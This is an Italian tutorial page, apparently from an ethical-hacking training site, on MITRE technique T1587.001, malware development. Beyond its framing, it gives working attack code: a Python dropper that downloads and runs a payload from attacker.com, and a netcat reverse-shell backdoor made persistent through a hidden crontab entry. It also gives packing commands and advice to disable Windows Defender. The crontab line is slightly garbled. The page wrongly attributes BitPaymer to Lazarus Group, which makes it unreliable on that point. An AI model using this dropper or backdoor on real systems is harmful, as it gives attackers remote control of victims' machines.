Sviluppo Malware: Develop Capabilities - Malware (T1587.001)
Lo sviluppo di malware personalizzato rappresenta una delle attività più critiche nella fase di Resource Development delle operazioni offensive. Gli attaccanti creano payload malevoli, dropper, backdoor e strumenti post-compromissione per mantenere il controllo sui sistemi target ed evadere le difese.
Questa tecnica si colloca nella tattica TA0042 - Resource Development, quando l'avversario costruisce risorse per supportare le operazioni successive. Il malware sviluppato può includere protocolli C2 custom, packer per offuscare il codice e persino media rimovibili infette.
L'impatto è significativo: 22 gruppi APT documentati sviluppano attivamente malware proprietario, con 14 campagne che hanno fatto uso di questa capacità. Alcuni attori includono intenzionalmente indicatori riconducibili ad altri gruppi per depistare l'attribuzione, complicando le attività di threat intelligence.
Per comprendere come gli attaccanti sviluppano malware, inizia creando un semplice dropper in Python che scarica ed esegue un payload secondario:
import urllib.request, subprocess, tempfile
url = "http://attacker.com/payload.exe"
with tempfile.NamedTemporaryFile(delete=False) as tmp:
urllib.request.urlretrieve(url, tmp.name)
subprocess.Popen(tmp.name)
Su Windows, puoi compilare un eseguibile con PyInstaller: pyinstaller --onefile --noconsole dropper.py. Questo genera un singolo file .exe che nasconde la finestra della console durante l'esecuzione.
Per Linux, crea una backdoor persistente modificando crontab. Scrivi uno script bash che si connette periodicamente al C2:
#!/bin/bash
while true; do
nc -e /bin/bash attacker.com 4444 2>/dev/null
sleep 300
done
Aggiungi la persistenza con: echo "/5 * * * * /tmp/.hidden/backdoor.sh" | crontab -*
Gli attaccanti sofisticati come APT29 sviluppano famiglie di malware modulari. Durante l'Operation Ghost, hanno creato FatDuke, MiniDuke e RegDuke, ognuno con funzionalità specifiche per evasione e persistenza.
Per emulare tecniche avanzate, implementa un semplice packer che offusca il payload. Usa UPX su Linux: upx --best --lzma malware.elf. Su Windows, puoi usare strumenti come Themida o custom packer scritti in C++.
Lazarus Group ha dimostrato capacità notevoli nello sviluppo di ransomware come BitPaymer. Per scopi educativi, puoi studiare come implementano la crittografia AES dei file, ma sempre in ambienti isolati e controllati.
Il testing del malware richiede ambienti sandbox dedicati. Configura una VM Windows con snapshot puliti, disabilita Windows Defender temporaneamente e monitora il comportamento con Process Monitor e Wireshark.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo